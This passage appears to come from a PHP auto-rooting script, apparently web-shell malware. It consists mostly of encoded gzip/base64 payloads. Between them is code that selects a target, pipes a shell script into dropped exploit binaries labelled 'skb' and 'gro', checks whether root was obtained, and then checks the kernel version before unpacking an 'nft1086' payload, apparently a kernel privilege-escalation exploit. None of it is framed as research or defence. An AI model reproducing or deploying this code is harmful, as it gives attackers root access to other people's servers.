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'); $pt=picktarget(); if($sk && $pt){ out('skb-shift',$pt); xrun('printf "sh '.$W.'/cash.sh\nexit\n" | '.shq($sk).' '.shq($pt).' 2>&1', 110); step('skb','try'); if(rooted()||outsidesu($pt)) exit; } if($gr && $pt){ out('gro',$pt); xrun('printf "sh '.$W.'/cash.sh\nexit\n" | '.shq($gr).' '.shq($pt).' 2>&1', 110); step('gro','try'); if(rooted()||outsidesu($pt)) exit; } } if (vge($V,'5.14') && vlt($V,'6.6.15')) { $nf=pl('nft1086','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